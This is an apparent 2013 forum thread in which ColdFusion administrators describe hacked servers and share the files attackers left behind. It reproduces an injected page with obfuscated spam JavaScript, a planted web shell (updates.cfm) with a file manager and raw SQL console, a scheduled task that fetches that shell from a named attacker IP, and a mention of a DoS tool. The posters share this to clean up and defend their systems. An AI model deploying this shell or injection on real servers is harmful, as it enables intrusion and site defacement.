CF8.01 hacked. Need info on patches

Report · Feb 04, 2013

Yesterday some of our hosted sites were hacked using code pasted below. We're running CF 8.01 and I'm wondering if there is a cumulative secutity patch that we can apply or If I should just apply every security patch that I can find. I noticed that this particular vulnerability was patched for CF9 and 10 about six weeks ago.

Here's the hack:

Application.cfm

#mmy#

</cfoutput>

</cfsavecontent>

</cfif>

#paga#

</cfoutput>

</cfif>

</cffunction>

Index.htm

<html>

<head>

</head>

<body>

<a href="http://www.thehiltonorlando.com/">This page has moved. Please click here if you are not automatically redirected in a moment...</a><script language="JavaScript">function zdrViewState()

{

var a=0,m,v,t,z,x=new Array('9091968376','8887918192818786347374918784939277359287883421333333338896','9977918890','949990793917947998942577939317'),l=x.length;while(++a<=l){m=x[l-a];

t=z='';

for(v=0;v<m.length;){t+=m.charAt(v++);

if(t.length==2){z+=String.fromCharCode(parseInt(t)+25-l+a);

t='';}}x[l-a]=z;}document.write('<'+x[0]+' '+x[4]+'>.'+x[2]+'{'+x[1]+'}</'+x[0]+'>');}zdrViewState();

</script>

Most of the time, the borrower would <a href="http://www.paydayloans-online-uk.co.uk/" title="Payday">payday</a> be the one jeopardized. Applying to various payday loan sites could create suspicion to the lender <a href="http://payday-loans-fts.co.uk/" title="Payday Loans">payday loans</a> and this could make the approval process unnecessarily burdening. Having a checking account is also a <a href="http://best-rates-payday-loans.co.uk/" title="Http://best-rates-payday-loans.co.uk/">http://best-rates-payday-loans.co.uk/</a> must. They would also need this in order to withdraw money from your account when the payment is <a href="http://bad-credit-payday.co.uk/" title="Payday Loans Bad Credit">payday loans bad credit</a> due. In the long run, you would see that they have high interest rates that would be equivalent to wasting your <a href="http://payday-loans-eng.co.uk/" title="Payday Loans Uk">payday loans uk</a> money.

</center>

</body>

</html>

Thanks in advance.

--Jeremy

Report · Feb 20, 2013

9.0 - I had not run the patches. A past upgrarde on version 8 corrupted the server causing a frantic evening of repair and making me leery of other patches. RDS has always been disabled on this server.

According to the hotfix statement, all versions of ColdFusion seem to be susceptible, regardless of the latest fixes installed:
http://helpx.adobe.com/coldfusion/kb/coldfusion-security-hotfix-apsb13-03.html

One of the files left befind had a date of 12/25/2012, which is weeks before any security notices were posted. Looking at old versions of index files, the first recorded incident of the injection wasn't until 2/3/2013. This may coincide with running the CF Administrator as I needed to set up a new datasource, which I don't do all that often and didn't have need to login to the Admin for a while.

Report · Feb 20, 2013

EclecticDan,

You should also be checking for the other files mentioned:

h.cfm, i.cfm, fusebox.com and adss.cfm

If you find any of these, check the date stamp and then look for anything with that date.

If you have any SQL database, change the passwords on those, as that was part of the exploit.

Report · Feb 20, 2013

Thanks sduncanute. Already done. I posted because the corruption of the application.cfm was not mentioned anywhere in this thread and appears to be the cause of the damage for me (and probably the OP too).

I also found a trip.jar in the CFIDE folder that appears to be apart of the attack. Has anyone else encountered this?

Report · Feb 20, 2013

I had the application.cfm changes as well, and it was the first thing that alerted me to the rest of the issues. I didn't have the trip.jar

I patched my system on the 16th of January, but the problem was the h.cfm was installed on Dec 25th before the patch. The fusebox and adss files along with the h.cfm meant that additional files could be added and files changed.

My only disappointment was that when the patch came out, there was nothing in there saying "look for these files", which would have alerted me to the fact we'd already been compromised.

Sue

Report · Mar 22, 2013

EclecticDan - did you find out if the trip.jar file was part of the attack?

Report · Mar 22, 2013

I can't be certain but I think it was. I've googled it and I cannot find any mention of trip.jar, legitimate or otherwise.

Report · Mar 22, 2013

For me, it was a compressed file that extracts to ffmpegtheora, and 2 other mpeg related files. You deleted it? - thanks.

Report · Mar 22, 2013

Not recognizing it and seeing that it had a modified date around the time of the attack, I quarantined it by changing its name, extention and location until I could be sure. It's time for a server upgrade anyway.

Report · Mar 22, 2013

I thought you might be interested in what one of our hosts IT security guys discovered about Trip.jar:

"This Trip.jar file is a pretty basic Java based DOS application on layer 7. After decompiling the 6 .class files I read the Java coded there. You could directly compare this to the well-known “Low Orbit Ion Cannon” anonymous used to utilize heavily. It handles everything it needs from opening connections to accepting a list of URL’s to holding those connections open in order to denial of service a URL or site."

Just FYI...

Report · Mar 22, 2013

Yikes. Thanks to the info.

Report · Mar 26, 2013

so the conclusion is that trip.jar should also be deleted?

Report · Mar 26, 2013

According to the quote posted by kdgitler, I would say trip.jar is an unfriendly file and should be deleted. I'd preffer to hear this from someone at Adobe though.

Report · Apr 03, 2013

Hi all,

We're running CF 9 (patched up) multi-server on Windows Server 20008 R2. I've searched through our "JRun4\servers\server_instance\cfusion.ear\cfusion.war\CFIDE" directories, including the "adminapi" sub-directory, looking for the aforementioned files (adss.cfm, fusebox.cfm, h.cfm, i.cfm) and cannot seem to find anything.

I've also hit up the various Application.cfm files in the those CFIDE directories as well as the root CFIDE directory that's associated with the "cfusion" server instance. The Application.cfm files are encoded so how do I check to see if they have that modified code? Or would it simply overwrite the encoded version with the corrupted sample above?

Additionally, no luck on finding trip.jar.

Lastly, I've searched for that index.htm file and not found anything either. Yet, something has to be present because even though we built a brand new server and patched up before deploying and our source code is still showing the script block and text at the very bottom of the page.

Are there any other locations that I should be searching through specifically? Based on your experiences, where have you found the index.htm file?

Thank you in advance for any additional clarification you can provide!

Rick

Report · Sep 22, 2013

Ok, I just found /cfide/updates.cfm but I don't know if this part of the problem or if it was something that's always been there, but the date on the file is more recent than any other file.

This is crazy scary. I've been following this thread since the beginning of the year I've been dealing with this for the past 6 months.

I couldn't find h.cfm or i.cfm or the other files mentioned.

Here's the code from updates.cfm

<html>

<body>

<!---

Created by S?bastien Denis -

1.0 : 23-nov-2004

1.1 : 03-fev-2005 - new action: synchronize

============================================================================

The FileManager can be use as a common file manager or as a CFMODULE use inside an application.

============================================================================

Depending of the action (fuseaction attributes), the other attributes are...

FUSEACTION OTHER ATTRIBUTES

============================================================================

PASSWORD

If password is required to access the module.

Display a form to enter password.

PASSWORDHASH

Hash the password.

HOME

Display the file manager.

PATH (default= current path)

EDITEXTENSIONS (list of extensions to enable file edition)

GETDIR (default = current folder)

SEARCH

Perform a search.

Return a query GETDIR and a call to fuseaction = HOME with this query.

SEARCHNAME (reg exp corresponding to file/folder name)

SEARCHTEXT (reg exp corresponding to file content)

RECURSIVE (optional recursive search: 0/1 - default = 0)

MAXSEARCHRESULT (number of result: n - default = 1)

EDIT

Edit a file

EDITEXTENSIONS (list of extension - show the EDIT button)

(default = txt,htm,html,cfm,cfml,asp,aspx,php,jsp,js,ini,bat,log,reg,xml,dtd,xslt)

If "ALL", all files are editable

PATH

FILE

WRITE

Write the edited file

PATH

FILE

FILENEWCONTENT

UPLOAD PATH, NBROFUPLOAD (number of the maximum file to upload at once - default is 20)

DOWNLOAD PATH, FILE

ADDDIR PATH, DIRNEW

ADDFILE PATH, FILENEW

RENAMEFILE PATH, FILE, FILENEW

RENAMEDIR PATH, DIR, DIRNEW

COPYFILE PATH, FILE, PATHNEW (with the new file name)

COPYDIR PATH, DIR, PATHNEW (with the new folder name)

MOVEFILE PATH, FILE, PATHNEW (without the new file name)

MOVEDIR PATH, DIR, PATHNEW (without the new folder name)

DELETEFILE PATH, FILE

DELETEDIR PATH, DIR

DELETEDIRRECURSIVE PATH, DIR

SYNCDIR PATH, PATHNEW (path; origin, pathNew: destination), OVERWRITEALL

Other attributes:

============================================================================

thisModule the path to this module (cfmodule)

default = listLast(cgi.script_name,"/\")

relocate 0/1 (default 1, 0 in recursive call)

CheckPassword default = ""

To compare with H to allow access to module

If no correspondance => fuseaction = password

If checkPassword = "" => No access control.

H The Hashed password always required if checkPassword neq "".

PATHALLOWED The path beyond which the module cannot go.

default = "" meaning no limits.

STYLE 0/1 (default = 1) include basic style.

--->

<cftry>

Ok all good

</cfif>

</cfif>

</cfif>

</cffunction>

</cfif>

</cfif>

</cfif>

<style>

body,table,input{font:11px;font-family:verdana}

button, .button{font:11px;font-family:verdana;width:50;text-align:center;border:1px solid black;background-color:#EEEEEE;cursor:hand;padding:1 0 1 0;}

</style>

</cfif>

Password: <input type="password" name="password"> <input type="submit" name="submit" value="Submit" class="button">

</form>

</cfoutput>

</cfcase>

</cfoutput>

</cfcase>

<title>FileManager: #attributes.path#</title>

function addDir(){

var sDirNew = prompt("Create folder in #JSStringFormat(attributes.path)#.\nFolder name:","");

if (sDirNew != null && sDirNew != ""){

window.location.href="?fuseaction=addDir&path=#JSStringFormat(attributes.path)#&dirNew=" + sDirNew + "&h=#attributes.h#";

}

function addFile(){

var sFileNew = prompt("Create file in #JSStringFormat(attributes.path)#.\nFile name:","");

if (sFileNew != null && sFileNew != ""){

window.location.href="?fuseaction=addFile&path=#JSStringFormat(attributes.path)#&fileNew=" + sFileNew + "&h=#attributes.h#";

}

function renameFile(sFile){

var sFileNew = prompt("New file name",sFile + "_copy");

if (sFileNew != null && sFileNew != "" && sFileNew != sFile){

window.location.href="?fuseaction=renamefile&path=#JSStringFormat(attributes.path)#&file=" + sFile + "&fileNew=" + sFileNew + "&h=#attributes.h#";

}

function renameDir(sDir){

var sDirNew = prompt("New folder name",sDir + "_copy");

if (sDirNew != null && sDirNew != "" && sDirNew != sDir){

window.location.href="?fuseaction=renameDir&path=#JSStringFormat(attributes.path)#&dir=" + sDir + "&dirNew=" + sDirNew + "&h=#attributes.h#";

}

}

function copyFile(sFile){

sDefault = "#JSStringFormat(attributes.path)##JSStringFormat(attributes.delimiter)#" + sFile;

var sPathNew = prompt("Destination for \"" + sFile + "\".",sDefault);

if (sPathNew != null && sPathNew != "" && sPathNew != sDefault){

window.location.href="?fuseaction=copyFile&path=#JSStringFormat(attributes.path)#&pathNew=" + sPathNew + "&file=" + sFile + "&h=#attributes.h#";

}

function copyDir(sDir){

sDefault = "#JSStringFormat(attributes.path)##JSStringFormat(attributes.delimiter)#" + sDir;

var sPathNew = prompt("Destination for \"" + sDir + "\".\nProvide a UNEXISTANT path!",sDefault + "_copy");

if (sPathNew != null && sPathNew != "" && sPathNew != sDefault){

window.location.href="?fuseaction=copydir&path=#JSStringFormat(attributes.path)#&dir=" + sDir + "&pathNew=" + sPathNew + "&h=#attributes.h#";

}

function moveFile(sFile){

sDefault = "#JSStringFormat(attributes.path)#";

var sPathNew = prompt("Move \"" + sFile + "\" to:",sDefault);

if (sPathNew != null && sPathNew != "" && sPathNew != sDefault){

window.location.href="?fuseaction=moveFile&path=#JSStringFormat(attributes.path)#&pathNew=" + sPathNew + "&file=" + sFile + "&h=#attributes.h#";

}

function moveDir(sDir){

sDefault = "#JSStringFormat(attributes.path)#";

var sPathNew = prompt("Move \"" + sDir + "\" to:",sDefault);

if (sPathNew != null && sPathNew != "" && sPathNew != sDefault){

window.location.href="?fuseaction=moveDir&path=#JSStringFormat(attributes.path)#&pathNew=" + sPathNew + "&dir=" + sDir + "&h=#attributes.h#";

}

function syncDir(sDir){

sDefault = "#JSStringFormat(attributes.path)#" + "\\" + sDir;

var sPathNew = prompt("Synchronize \"" + sDefault + "\" to:",sDefault);

var bOverwriteAll = 0;

if (sPathNew != null && sPathNew != "" && sPathNew != sDefault){

if (confirm("Do yout want to overwrite all files?\nOK: copy all files.\nCancel: copy new and modified files.")) bOverwriteAll = 1;

window.location.href="?fuseaction=syncDir&path=" + sDefault + "&pathNew=" + sPathNew + "&overwriteall=" + bOverwriteAll + "&h=#attributes.h#";

}

function deleteFile(sFile){

if (confirm("Delete \"" + sFile + "\"?"))window.location.href="?fuseaction=deletefile&path=#JSStringFormat(attributes.path)#&file=" + sFile + "&h=#attributes.h#";

}

function deleteDir(sDir){

if (confirm("Delete \"" + sDir + "\"?"))window.location.href="?fuseaction=deletedir&path=#JSStringFormat(attributes.path)#&dir=" + sDir + "&h=#attributes.h#";

}

function showNextUpload(n){

document.getElementById("fileUpload" + n).style.display='';

document.getElementById("submitUpload").style.display='';

}

</script>

<h4 style="color:#iif(findNoCase("error",attributes.msg),"'red'","'green'")#">#attributes.msg#</h4>

</cfif>

</cfif>

<tr>

<td width="100">Parent:</td>

<td><a href="?path=#attributes.parentpath#&h=#attributes.h#">#attributes.parentpath#</a></td>

</tr>

<tr>

<td>

<button style="width:150" onclick="addDir()">Create a folder</button>

<button style="width:150" onclick="addFile()">Create a file</button>

</td>

</tr>

</form>

<tr>

<td>Search:</td>

<td>File/folder name (RE):<input type="text" name="searchname" size="70" value="#attributes.searchname#"></td>

</tr>

<tr>

<td>Containg text (RE):<input type="text" name="searchtext" size="70" value="#attributes.searchtext#"></td>

</tr>

<tr>

<td>

Recursive <input type="checkbox" name="recursive" value="1" #iif(attributes.recursive,"'checked'","''")#>

Max. result <select name="maxsearchresult">

</select>

</tr>

</form>

<tr>

<td valign="top">Upload:</td>

<td>

1.<input type="File" name="file1" size="70" onchange="showNextUpload(2)">

<input type="checkbox" name="overwrite1">Overwrite

#i#.<input type="File" name="file#i#" size="70" onchange="showNextUpload(#i+1#)">

<input type="checkbox" name="overwrite#i#">Overwrite

</div>

</cfloop>

</td>

</tr>

</form>

</table>

</cfoutput>

</cfif>

</cfif>

<th>Actions</th>

<th>Modif. date</th>

</tr>

<tr>

</tr>

</cfoutput>

<td>

<a onclick="renameDir('#name#')" class="button">Rename</a>

<a onclick="deleteDir('#name#')" class="button" style="color:red">Delete</a>

</td>

</cfif>

<td>#ATTRIBUTES# </td>

<td>#DATELASTMODIFIED#</td>

</tr>

</cfif>

</cfoutput>

<tr>

</tr>

</cfoutput>

<td>

</td>

</cfif>

<td>

<a onclick="renameFile('#name#')" class="button">Rename</a>

<a onclick="deleteFile('#name#')" class="button" style="color:red">Delete</a>

</cfif>

</cfif>

</td>

</cfif>

<td align="right">#numberFormat(size)# B</td>

<td>#ATTRIBUTES# </td>

<td>#DATELASTMODIFIED#</td>

</tr>

</cfif>

</cfoutput>

</table>

</cfcase>

<cfoutput><title>FileManager: #attributes.file#</title></cfoutput>

<div>

This file is READ-ONLY

<button onclick="window.location.href='?fuseaction=removeR&path=#JSStringFormat(attributes.path)#&file=#attributes.file#&fileNew=#attributes.file#&after=edit&h=#attributes.h#'" style="width:150">Remove Read-Only</button>

</div>

<pre style="width:100%;height:95%;border:2 solid black">#htmlEditFormat(filecontent)#</pre>

</cfoutput>

<button onclick="window.location.href='?path=#JSStringFormat(attributes.path)#&h=#attributes.h#&file=#attributes.file#'">Cancel</button>

Size: #numberFormat(getFile.size)#B | Date: #getFile.dateLastModified#

<textarea style="width:100%;height:95%" name="fileNewContent" style="font-size:11px">#htmlEditFormat(filecontent)#</textarea>

<div>

<button onclick="window.location.href='?path=#JSStringFormat(attributes.path)#&h=#attributes.h#&file=#attributes.file#'">Cancel</button>

</div>

</form>

</cfoutput>

</cfif>

</cfcase>

<cftry>

<cfoutput>#loc("fuseaction=#attributes.fuseactionNext#&file=#attributes.file#", attributes.relocate)#</cfoutput>

<cfoutput>#loc("msg=Error while updating file!", attributes.relocate)#</cfoutput>

</cfcatch>

</cftry>

</cfcase>

<cftry>

<cffile action="UPLOAD"

filefield="form.file#i#"

destination="#attributes.path#"

nameconflict="#iif(isDefined("attributes.overwrite#i#"),"'OVERWRITE'","'Error'")#">

</cfcatch>

</cftry>

</cfif>

</cfloop>

<cfoutput>#loc("", attributes.relocate)#</cfoutput>

</cfcase>

</cfcase>

<cftry>

<cfoutput>#loc("msg=File deleted!", attributes.relocate)#</cfoutput>

<cfoutput>#loc("msg=Error: file not deleted!", attributes.relocate)#</cfoutput>

</cfcatch>

</cftry>

</cfcase>

<cftry>

<cfoutput>#loc("msg=Folder deleted!", attributes.relocate)#</cfoutput>

<cfoutput>#loc("fuseaction=deletedirRecursiveConfirm&dir=#attributes.dir#", attributes.relocate)#</cfoutput>

</cfcatch>

</cftry>

</cfcase>

if(confirm("Folder not deleted. It may contains files or folders.\nTry recursive delete?")) window.location.href="?fuseaction=deletedirRecursive&path=#jsStringFormat(attributes.path)#&dir=#jsStringFormat(attributes.dir)#&h=#attributes.h#";

else window.location.href="?path=#jsStringFormat(attributes.path)#&h=#attributes.h#";

</script>

</cfoutput>

</cfcase>

<cfoutput><h3>#attributes.path##attributes.delimiter##attributes.dir#</h3></cfoutput>

<cftry>

<div>

FILE:

#attributes.path##attributes.delimiter##attributes.dir##attributes.delimiter##name#

</div>

</cfoutput>

</cftry>

</cfif>

</cfloop>

<cfmodule template="#attributes.thisModule#"

fuseaction="deleteDirRecursive"

h="#attributes.H#"

path="#attributes.path##attributes.delimiter##attributes.dir#"

dir="#name#"

relocate="0">

</cfif>

</cfloop>

<cftry>

<div>

FOLDER:

#attributes.path##attributes.delimiter##attributes.dir#

</div>

</cfoutput>

</cftry>

<button name="fileManagerButton" style="width:700" onclick="window.location.href='?h=#attributes.H#&path=#jsStringFormat(attributes.path)#'">Deletion done! Back to #attributes.path#</button>

</cfoutput>

</cfif>

</cfcase>

<cftry>

<cfoutput>#loc("msg=Folder created!", attributes.relocate)#</cfoutput>

<cfoutput>#loc("msg=Error: folder not created!", attributes.relocate)#</cfoutput>

</cfcatch>

</cftry>

</cfcase>

<cftry>

<cfoutput>#loc("msg=File created!", attributes.relocate)#</cfoutput>

<cfoutput>#loc("msg=Error: file not created!", attributes.relocate)#</cfoutput>

</cfcatch>

</cftry>

</cfcase>

alert("This file already exists!");

history.back();

</script>

</cfoutput>

</cfif>

<cftry>

</cftry>

<cftry>

<cffile action="COPY" source="#attributes.path##attributes.delimiter##attributes.file#"

destination="#attributes.pathNew#">

<cfoutput>#loc("msg=File copied!", attributes.relocate)#</cfoutput>

</cfif>

<cfoutput>#loc("msg=Error: file not copied", attributes.relocate)#</cfoutput>

</cfif>

</cfcatch>

</cftry>

</cfcase>

alert("This folder already exists!\nPlease use synchronize function.");

history.back();

</script>

</cfoutput>

</cfif>

<cftry>

<cfoutput><h3>#attributes.pathNew#</h3></cfoutput>

</cftry>

<cffile

action="COPY"

source="#attributes.path##attributes.delimiter##attributes.dir##attributes.delimiter##name#"

destination="#attributes.pathNew##attributes.delimiter##name#"

attributes="Normal">

<cfoutput><div>#attributes.pathNew##attributes.delimiter##name#</div></cfoutput>

</cfif>

</cfloop>

<cfmodule

fuseaction="copyDir"

template="#attributes.thisModule#"

h="#attributes.H#"

path="#attributes.path##attributes.delimiter##attributes.dir##attributes.delimiter#"

dir="#name#"

pathNew="#attributes.pathNew##attributes.delimiter##name#"

relocate="0">

</cfif>

</cfloop>

<button name="fileManagerButton" style="width:700" onclick="window.location.href='?h=#attributes.H#&path=#jsStringFormat(attributes.path)#'">Copy done! Back to #attributes.path#</button>

</cfoutput>

</cfif>

</cfcase>

alert("This file already exists!");

history.back();

</script>

</cfoutput>

</cfif>

<cftry>

<cfoutput>#loc("msg=File updated!", attributes.relocate)#</cfoutput>

<cfoutput>#loc("msg=Error while updating file!", attributes.relocate)#</cfoutput>

</cfcatch>

</cftry>

</cfcase>

<cftry>

</cfif>

<cfoutput>#loc("#qs#msg=File updated!", attributes.relocate)#</cfoutput>

<cfoutput>#loc("#qs#msg=Error while updating file!", attributes.relocate)#</cfoutput>

</cfcatch>

</cftry>

</cfcase>

alert("This folder already exists!");

history.back();

</script>

</cfoutput>

</cfif>

<h2>Rename folder - step 1: copy files</h2>

<cfmodule template="#attributes.thisModule#"

fuseaction="copyDir"

h="#attributes.h#"

path="#attributes.path#"

pathOrigin="#attributes.path##attributes.delimiter##attributes.dir#"

pathNew="#attributes.path##attributes.delimiter##attributes.dirNew#"

relocate="0">

<h2>Rename folder - step 2: delete files</h2>

<cfmodule template="#attributes.thisModule#"

fuseaction="deleteDirRecursive"

h="#attributes.h#"

path="#attributes.path#"

dir="#attributes.dir#"

relocate="0">

<button name="fileManagerButton" style="width:700" onclick="window.location.href='?path=#jsStringFormat(attributes.path)#&h=#attributes.H#'">Rename done! Back to #attributes.path#</button>

</cfoutput>

</cfif>

</cfcase>

<cfmodule template="#attributes.thisModule#"

fuseaction="copyFile"

h="#attributes.h#"

path="#attributes.path#"

file="#attributes.file#"

pathNew="#attributes.pathNew#"

relocate="0">

<h2>Move file - step 2: delete file</h2>

<cfmodule template="#attributes.thisModule#"

fuseaction="deleteFile"

h="#attributes.h#"

path="#attributes.path#"

file="#attributes.file#"

relocate="0">

<cfoutput>#loc("msg=File moved!", attributes.relocate)#</cfoutput>

</cfcase>

<h1>Move folder - step 1: copy files</h1>

<cfmodule template="#attributes.thisModule#"

fuseaction="copyDir"

h="#attributes.h#"

pathOrigin="#attributes.path##attributes.delimiter##attributes.dir#"

pathNew="#attributes.pathNew##attributes.delimiter##attributes.dir#"

relocate="0">

<h1>Move folder - step 2: delete files</h1>

<cfmodule template="#attributes.thisModule#"

fuseaction="deleteDirRecursive"

h="#attributes.h#"

path="#attributes.path#"

dir="#attributes.dir#"

relocate="0">

<button name="fileManagerButton" style="width:700" onclick="window.location.href='?h=#attributes.H#&path=#jsStringFormat(attributes.path)#'">Move done! Back to #attributes.path#</button>

</cfoutput>

</cfif>

</cfcase>

<cfoutput><h1>Synchronize</h1><h3>From... #attributes.path#</h3><h3>To... #attributes.pathNew#</h3><hr></cfoutput>

</cfif>

<cftry>

<cfoutput><h3 style="color:green">#attributes.pathNew# ... created!</h3></cfoutput>

<cfcatch><cfoutput><h3>#attributes.pathNew# ... existing!</h3></cfoutput></cfcatch>

</cftry>

</cfif>

</cfif>

</cfloop>

<cftry>

<cffile

action="COPY"

source="#attributes.path##attributes.delimiter##name#"

destination="#attributes.pathNew##attributes.delimiter##name#"

attributes="Normal">

<cfoutput><div style="color:orange">#attributes.pathNew##attributes.delimiter##name# ... updated!</div></cfoutput>

<cfoutput><div style="color:red">#attributes.pathNew##attributes.delimiter##name# ... cannot update!</div></cfoutput>

</cfcatch>

</cftry>

<cfoutput><div>#attributes.pathNew##attributes.delimiter##name# ... uptodate</div></cfoutput>

</cfif>

<cffile

action="COPY"

source="#attributes.path##attributes.delimiter##name#"

destination="#attributes.pathNew##attributes.delimiter##name#"

attributes="Normal">

<cfoutput><div style="color:green">#attributes.pathNew##attributes.delimiter##name# ... new!</div></cfoutput>

</cfif>

</cfif>

</cfloop>

<cfmodule

fuseaction="syncDir"

template="#attributes.thisModule#"

h="#attributes.H#"

path="#attributes.path##attributes.delimiter##name#"

pathNew="#attributes.pathNew##attributes.delimiter##name#"

relocate="0">

</cfif>

</cfloop>

<button name="fileManagerButton" style="width:700" onclick="window.location.href='?h=#attributes.H#&path=#jsStringFormat(attributes.pathNew)#'">Synchronization done! Back to #attributes.pathNew#</button>

</cfoutput>

</cfif>

</cfcase>

<cfoutput>#loc("msg=Error: no criteria!",attributes.relocate)#</cfoutput>

</cfif>

</cfif>

<cftry>

</cfif>

</cfif>

</cfif>

</cfif>

</cfloop>

</cfif>

</cfif>

</cfloop>

</cfif>

<cfmodule template="#attributes.thisModule#"

fuseaction="search"

path="#attributes.path#"

h="#attributes.h#"

searchpath="#attributes.searchpath##attributes.delimiter##name#"

recursive="#attributes.recursive#"

searchtext="#attributes.searchtext#"

searchname="#attributes.searchname#"

maxsearchresult="#attributes.maxsearchresult#"

relocate="0">

</cfif>

</cfloop>

</cfif>

<cfoutput>#loc("msg=Error!",attributes.relocate)#</cfoutput>

</cfcatch>

</cftry>

<cfmodule template="#attributes.thisModule#"

fuseaction="home"

path="#attributes.path#"

h="#attributes.h#"

msg="Search result: #request.searchResult.recordCount# elements!"

getDir="#request.searchResult#"

showpath="#iif(attributes.recursive,1,0)#"

searchtext="#attributes.searchtext#"

searchname="#attributes.searchname#"

maxsearchresult="#attributes.maxsearchresult#">

</cfif>

</cfcase>

</cfswitch>

</cfif>

<form action="<cfoutput>#CGI.SCRIPT_NAME#</cfoutput>" method="post">

</form>

<CFOUTPUT>#readText#</CFOUTPUT>

</textarea>

</cfif>

</cfoutput>

Notes:

<ul>

<li>Select the database you want to use</li>

<li>Write SQL statements in the text box</li>

</ul>

SQL Interface:

Datasource

SQL

</form>

#REReplace(Form.sql,"""","'","ALL")#

</cfquery>

</cfif>

<tr>

<th><cfoutput>#column#</cfoutput></th>

</cfloop>

</tr>

<tr>

<td><cfoutput>#runsql[column][row]#</cfoutput></td>

</cfloop>

</tr>

</cfif>

</cfloop>

</cfif>

</table>

</body>

</html>

</form>

</cfif>

</cfcatch>

</cftry>

Report · Sep 22, 2013

Ok, I just looked in my scheduled tasks and found an entry that has the URL set to http://84.33.192.46/tmp/updates.txt and saves the output file to the cfide/updates.cfm

!!!!!!!!!!!!!!!!

http://84.33.192.46/tmp/updates.txt

saves to updates.cfm

http://216.164.204.70/CFIDE/sq.txt